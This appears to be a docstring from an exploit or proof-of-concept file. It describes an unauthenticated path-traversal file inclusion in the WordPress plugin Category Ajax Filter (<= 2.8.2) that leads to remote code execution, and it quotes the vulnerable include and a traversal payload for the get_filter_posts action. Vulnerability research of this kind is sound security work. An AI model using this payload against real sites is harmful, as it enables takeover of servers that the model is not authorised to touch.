    r"""
    Category Ajax Filter <= 2.8.2 registers the nopriv AJAX action get_filter_posts
    (includes/functions.php:106). The handler reads $_POST['params']['caf-post-layout']
    (includes/functions.php:134, only sanitize_text_field — `../` survives) and includes it
    (includes/functions.php:180-183):
    
        if ($caf_post_layout && strlen($caf_post_layout) > 11) {
            $filepath = TC_CAF_PATH . "includes/layouts/post/" . $caf_post_layout . ".php";
            if (file_exists($filepath)) include_once $filepath;
    
    TC_CAF_PATH is the plugin dir; caf-post-layout=../../../../../uploads/<file> traverses to
    wp-content/uploads and includes an attacker-planted PHP -> RCE. The only guard is strlen>11 and the
    nonce is enforced only when the referenced filter has meta caf_special_security=enable (default
    disable -> unauthenticated).
    
    Prior state: plugin active + a planted .php under wp-content/uploads (any upload primitive).
